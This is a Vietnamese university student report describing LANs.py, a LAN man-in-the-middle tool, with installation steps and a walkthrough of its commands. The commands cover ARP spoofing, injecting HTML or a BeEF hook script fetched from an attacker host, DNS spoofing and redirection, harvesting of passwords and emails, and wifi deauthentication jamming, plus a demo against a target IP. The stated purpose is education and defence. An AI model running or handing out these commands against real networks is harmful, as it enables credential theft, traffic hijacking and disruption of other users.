DANH SÁCH CÁC THUẬT NGỮ TIẾNG ANH VÀ VIẾT TẮTTừ viết tắt Thuật ngữ tiếng Anh/Giải thích Thuật ngữ tiếng Việt/Giải thích LAN Local Area Network Mạng cục bộ WLAN Wireless Local Area Net
Trang 1HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
KHOA CÔNG NGHỆ THÔNG TIN
Bài báo cáo:
Tìm hiểu LANs.py
Giảng viên hướng dẫn: TS Đặng Minh Tuấn
Hà Nội 2021
Trang 2Mục Lục
Danh sách hình vẽ 3
DANH SÁCH CÁC THUẬT NGỮ TIẾNG ANH VÀ VIẾT TẮT 3
LỜI MỞ ĐẦU 5
Khái quát về LANs.py 6
A Giới thiệu: 6
1 Lịch sử hình thành: 6
B Hướng dẫn sử dụng 7
1 Hướng dẫn cài đặt: 7
2 Hướng dẫn sử dụng: 10
C Kịch bản demo 15
D Đánh giá 18
E Tài liệu tham khảo 18
Danh sách hình vẽ Hình 1: Terminal trên Linux 7
Hình 2: Link trên GitHub 8
Hình 3: Cài đặt LANs.py thành công 8
Hình 4: Cài đặt python-nfqueue 9
Hình 5: bảng help trong LANs.py 9
Hình 6: Duyệt file PCAP bằng scapy 12
Hình 7: Chạy LANs.py 16
Hình 8: Thành công 17
Trang 3DANH SÁCH CÁC THUẬT NGỮ TIẾNG ANH VÀ VIẾT TẮT
Từ
viết tắt
Thuật ngữ tiếng Anh/Giải
thích
Thuật ngữ tiếng Việt/Giải thích
LAN Local Area Network Mạng cục bộ
WLAN Wireless Local Area Network Mạng cục bộ không dây
HTML HyperText Markup Language Ngôn ngữ Đánh dấu Siêu văn
bản
JS Javascript Ngôn ngữ lập trình thông dịch DNS Domain Main System
ột hệ thống giúp cho việc chuyển đổi các tên miền mà con người dễ ghi nhớ
ARP Address Resolution Protocol
một giao thức truyền thông được sử dụng để chuyển địa chỉ
từ tầng mạng (Internet layer) sang tầng liên kết dữ
liệu theo mô hình OSI
IP Internet Protocol
một giao thức hướng dữ liệu được sử dụng bởi các máy chủ nguồn và đích để truyền dữ liệu trong một liên mạng chuyển mạch gói Dữ liệu trong một liên mạng IP được gửi theo các khối được gọi là các gói
MITM Man-in-the-midle Tấn công xen giữa
Trang 4Injection Tiêm nhiễm, truyền nhiễm
Trang 5LỜI MỞ ĐẦU
Với sự phát triển nhanh chóng của Internet, giờ đây wifi là thứ thiết yếu đối với mọi người, nhu cầu bảo mật thông tin trong các hệ thống và ứng dụng điện tử ngày càng được quan tâm và có ý nghĩa hết sức quan trọng Vì thế việc nghiên cứu
về các công cụ gián điệp trên mạng LAN như wifi là cần thiết để có phương án phòng chống, đối phó với tin tặc
Bài báo cáo này sẽ nhằm mục đích giới thiệu, tìm hiểu sơ bộ về công cụ LANs.py và cách sử dụng, cuối cùng là đánh giá và đưa ra cách phòng chống
Trang 6Khái quát về LANs.py
Khái niệm về mạng LAN:
Local Area Network (tiếng Anh, viết tắt LAN), "mạng máy tính cục bộ") là một hệ thống mạng dùng để kết nối các máy tính trong một phạm vi nhỏ (nhà ở, phòng làm việc, trường học, …) Các máy tính trong mạng LAN có thể chia sẻ tài nguyên với nhau, mà điển hình là chia sẻ tập tin, máy in, máy quét và một số thiết bị khác
Một mạng LAN tối thiểu cần có máy chủ (server), các thiết bị ghép nối (Repeater, Hub, Switch, Bridge), máy tính con (client), card mạng (Network Interface Card – NIC) và dây cáp (cable) để kết nối các máy tính lại với nhau Trong thời đại của hệ điều hành MS-DOS, máy chủ mạng LAN thường sử dụng phần mềm Novell NetWare, tuy nhiên điều này đã trở nên lỗi thời hơn sau khi Windows NT và Windows for Workgroups xuất hiện Ngày nay hầu hết máy chủ sử dụng hệ điều hành Windows, và tốc độ mạng LAN có thể lên đến 10 Mbps, 100 Mbps hay thậm chí là 1 Gbps
Một hình thức khác của LAN là WAN (Wide Area Network), có nghĩa là mạng diện rộng, dùng để nối các LAN lại với nhau (thông qua router)
Một hình thức khác nữa của mạng LAN, mới xuất hiện trong những năm gần đây là WLAN (Wireless LAN) – mạng LAN không dây
Khái niệm LANs.py:
Trang 7LANs.py là công cụ tự động tìm những người dung WLAN hoạt động nhiều nhất sau đó theo dõi một trong số họ hoặc truyền bất kì mã HTML/JS vào trang web người dùng đang truy cập
LANs.py có thể truyền mã độc tới router, DNS server,… theo giao thức ARP nhưng chỉ được một cá nhân, những người dùng khác trong mạng không bị ảnh hưởng Có thể hiển thị hầu hết các bits trên đường truyền của nạn nhân Công cụ có thể tự xóa dấu vết khi hoàn thành công việc
LANs.py có thể làm nhiễu sóng wifi Nó có hiệu lực trong bán kính xấp xỉ 1 block Nó có thể tác động đến một hoặc nhiều người sử dụng
Tập lệnh này sử dụng hàng đợi python nfqueue-bindings được bọc bằng Twisted- IreadingDescriptor để cung cấp các gói cho hàm gọi nfqueue-bindings đường sử dụng để thả và chuyển tiếp gói tin cụ thể Thư viện quét của Python thực hiện công việc phân tích cú pháp và truyền các gói tin Việc tiêm mã kín này như một trò chơi xúc xắc, nếu một sự cố nhỏ xảy ra hoặc máy chủ mà nạn nhân đang yêu cầu dữ liệu thực hiện việc với một cách đặc biệt hay cách hiếm nào đó thì nạn nhân sẽ không mở được trang web và
họ sẽ biết là họ đang bị tấn công mạng Tập lệnh này được thiết kế để chuyển tiếp các gói nếu được gửi đi không thành công, vì vậy trong quá trình sử dụng, người dùng tập lệnh này sẽ thấy rất nhiều "[!] Injected packet for www.domain.com" nhưng chỉ thấy một hoặc hai tên miền trên bảng Beef
mà trình duyệt nối vào Nếu họ kết nối vào trang đầu tiên, chỉ cần đợi họ duyệt vài trang khác Một mục tiêu của tập lệnh này là không bị phát hiện
Trang 8B H ướ ng d n s d ng ẫ ử ụ
Chuẩn bị kali linux:
Kali Linux là công cụ thường dùng để hack mạng WPA và WPA2.Tiến hành cài đặt (tập tin ISO) Kali Linux bằng cách tải phiên bản Kali cần sử dụng trên trang web kali.org
Cài đặt LANs.py
Trước khi sử dụng LANs.py, ta cần phải có các công cụ:
1 Python >v2.7
2 Python-nfqueue
3 Python nfqueue-bindings 0.4.3+
4 Aircrack-ng
5 Python-scapy
6 Nbtscan
7 Nmap
8 Python-twisted*
9 Beef (tùy chọn)
Khi đầy đủ công cụ, chúng ta tiến hành cài LANs.py
Bước 1: Mở Terminal
Trang 9Hình 1: Terminal trên Linux.
Bước 2: Truy cập link: https://github.com/DanMcInerney/LANs.py
Hình 2: Link trên GitHub
Trang 10Bước 3: Gõ lệnh git clone https://github.com/DanMcInerney/LANs.py.git
Hình 3: Cài đặt LANs.py thành công.
Bước 4: Trỏ tới thư mục LANs.py và gõ lệnh python Lans.py, thêm “–h” để hiện bảng help
(nếu kali chưa có python-nfqueue thì hệ thống sẽ yêu cầu cài đặt và ta chỉ cần
ấn “y” rồi enter
Hình 4: Cài đặt python-nfqueue.
Trang 11Hình 5: bảng help trong LANs.py
a Tất cả các lệnh:
Python LANs.py h] b BEEF] c CODE] u] ip IPADDRESS] [-vmac VICTIMMAC]
[-d] [-v] [-dns DNSSPOOF] [-a] [-set] [-p] [-na] [-n]
[-i INTERFACE] [-r REDIRECTTO] [-rip ROUTERIP]
[-rmac ROUTERMAC] [-pcap PCAP] [-s SKIP] [-ch CHANNEL]
[-m MAXIMUM] [-no] [-t TIMEINTERVAL] [ packets PACKETS]
[ directedonly] [ accesspoint ACCESSPOINT]
b HTML injection:
Lệnh: python LANs.py –u –p –d –ip (Địa chỉ tấn công)
Trang 12-d: mở giao diện dòng lệnh đẻ hiển thị tất cả ảnh mà nạn nhân xem
Lệnh: python LANs.py -b http://192.168.0.5:3000/hook.js
Truyền vào trang web nạn nhân đang xem một URL như trên Lệnh này để vào bất cứ địa chỉ nào của file javascript Cố gắng truyền URL đó trước khi tag đầu tiên đươcẹ tìm thấy trong page HTML
Lệnh: python LANs.py -c '<title>Owned.</title>'
Truyền bất kỳ HTML nào vào trang web nạn nhân truy cập Đầu tiên tool này sẽ cố truyền lệnh vào trước khi thẻ <head> đầu tiên xuất hiện
c Đọc từ PCAP:
Để đọc từ file PCAP ta phải có địa chỉ mục tiêu và tùy chọn ip Nó phải ở dạng thư viện PCAP (libpcap) Một lợi ích của việc đọc từ file PCAP là ta không cần phải root để thực thi đoạn script
Lệnh: pythonLANs.py -pcap libpcapfilename -ip 192.168.0.10 LANs.py sẽ sử dụng scapy để đọc file PCAP
Trang 13Hình 6: Duyệt file PCAP bằng scapy.
DNS spoofing:
Lệnh 1: python LANs.py -a -r 80.87.128.67
Lệnh 2: python LANs.py -dns eff.org
Ví dụ 1: “-a” là tùy chọn sẽ giả mạo mọi lời gọi DNS từ nạn nhân và khi
sử dụng câu lệnh với –r thì nó sẽ chuyển hướng nạn nhân sang địa chỉ của –r, cụ thể ở đây là địa chỉ 80.87.128.67 (stallman.org) mà không cần biết nạn nhân ghi gì vào thanh địa chỉ
Ví dụ 2: Lệnh này sẽ giả mạo tên miền eff.org và tên miền phụ của eff.org Khi đối số hiện lên với tùy chọn –a hoặc –dns, đoạn mã sẽ tự động gửi nạn nhân tới địa chỉ của kẻ công Nếu nạn nhân cố gắng truy cập eff.org thì họ sẽ bị chuyển hướng tới IP của kẻ tấn công
Trang 14d Câu lệnh thường dùng:
-b BEEF_HOOK_URL: sao chép BeEF hook URL để tiêm nhiễm vào mọi url nạn nhân truy cập
-c ‘HTML CODE’: Tiêm nhiễm mã độc HTML vào trang web nạn nhân truy cập
-d: mở trình giả lập đầu cuối với driffnet để hiển thị toàn bộ ảnh nạn nhân xem
-dns DOMAIN: giả mạo DNS của DOMAIN ví dụ như –dns facebook.com sẽ giả mạo mọi lời gọi DNS từ facebook.com hoặc tên miền phụ.facebook.com
-a: giả mạo mọi phản hồi DNS mà người dùng tạo ra Tạo ra một trang cổng thông tin cố định hiệu quả
-r IPADDRESS: chỉ được dùng với –dns DOMAIN, nó sẽ điều hướng người dùng tới IPADDRESS khi họ truy cập tên miền
-u: in ra URLs mà người dùng truy cập, cắt bớt tới 150 ký tự và lớp image/css/js/woff/svg url từ khi họ cố gắn gửi yêu cầu và những thứ không thiết thực
-i INTERFACE: chỉ định giao diện, đưa về lập trình ban đầu là ip route, ví dụ -I wlan0
-ip: mục tiêu của địa chỉ IP
-n: hiển thị quét nmap tấn công ở trang nền và đầu ra tới [địa chỉ IP mục tiêu]/nmap.txt
-p: in ra username/password cho FTP/IMAP/POP/IRC/HTTP, HTTP POST, tất cả những thứ người dùng tìm kiếm trên mạng, thư đến và thư đi, tin nhắn IRC gửi và nhận
Trang 15 -pcap PCAP_FILE: phân tích cú pháp thông qua tất cả gói tin trong một thư mục PCAP, yêu cầu phải có –ip[địa chỉ IP mục tiêu]
-rmac ROUTER_MAC: đi tới router MAC, nếu ta có vấn đề gì thì tool sẽ tự động giải quyết nó
-rip ROUTER_IP: đi tới router IP và tác dụng như trên
-v: hiển thị URL dài dòng, cái mà không được rút gọi 150 ký tự như –u
e Wifi Jamming:
-s MAC_Address_to_skip: chỉ đinh một địa chỉ MAC để bỏ qua deauthing Ví dụ: -s 00:11:BB:33:44:AA
-ch CHANNEL: giới hạn wifijammer tới một channel nhất định
-m MAXIMUM: tối đa số lượng client tới deauth
-no: không được xóa danh sách deauth khi số client tối đa đã truy cập Phải được dùng liên kết với –m Ví dụ -m 10 –n
-t TIME_INTERVAL: thời gian giữa mỗi gói deauth Mặc định là tối đa Nếu ta thấy lỗi scapy như ‘no buffer space’, hãy thử -t 00001
packets NUMBER: số lượng gói tin để gửi đi mỗi deauth burst Mặc đinh là 1 gói
directedonly: Không gửi gói tin deauth tới địa chỉ phát tin của Aps
và chỉ gửi cho các cặp client/ap
accesspoint ROUTER_MAC: Đi tới địa chỉ MAC của một mục tiêu AP đã được chỉ định
f Dọn dẹp:
Khi ấn Ctrl-C:
Trang 16 Tắt gửi IP.
Xả tường lửa iptables
Khôi phục từng bộ định tuyến và bảng ARP của nạn nhân
Demo Address Protocol resolution spoofing:
Hình 7: Chạy LANs.py
Gõ lệnh python LANs.py –u –p – d –ip 192.168.1.34
Trang 17Hình 8: Thành công
Trang 18D Đánh giá
LANs.py là một trong những công cụ mạnh mẽ để tiêm nhiễm mã độc, tấn công không dây và xem trộm màn hình của người dùng wifi Tác giả hiện nay
đã không còn hỗ trợ công cụ này nữa mà gợi ý Bettercap thay thế cho ARP và MITM
Trang 19E Tài li u tham kh o ệ ả
https://github.com/DanMcInerney/LANs.py
https://en.kali.tools/?p=388
https://cybershafarat.com/2021/07/25/lans-py-tool/
https://www.reddit.com/r/netsec/comments/1q6zmi/screenshots_lanspy_cat ch_usernames_passwords_and/
https://www.youtube.com/watch?v=dhT9IzcaGlQ
https://www.youtube.com/watch?v=TP-VVr6ETRU
Trang 20LỜI CẢM ƠN
“Đầu tiên, em xin gửi lời cảm ơn chân thành đến Học viện Công nghệ Bưu chính Viễn thông đã đưa môn môn học An toàn mạng vào chương trình giảng dạy Đặc biệt, em xin gửi lời cảm ơn sâu sắc đến giảng viên bộ môn - thầy Đặng Minh Tuấn đã dạy dỗ, truyền đạt những kiến thức quý báu trong suốt thời gian học tập vừa qua Trong thời gian tham gia lớp học An toàn mạng của thầy, em đã có thêm cho mình nhiều kiến thức bổ ích, tinh thần học tập hiệu quả, nghiêm túc Đây chắc chắn là những kiến thức quý báu, là hành trang để em vững bước sau này
Do vốn kiến thức còn nhiều hạn chế, và khả năng tiếp thu thực tế còn nhiều
bỡ ngỡ, mặc dù em đã cố gắng hết sức nhưng chắc chắn bài tiểu luận sẽ khó tránh khỏi những thiếu sót và nhiều chỗ còn chưa chính xác, kính mong thầy xem xét và đóng góp để bài tiểu luận của em được hoàn thiện hơn
Em xin chân thành cảm ơn!”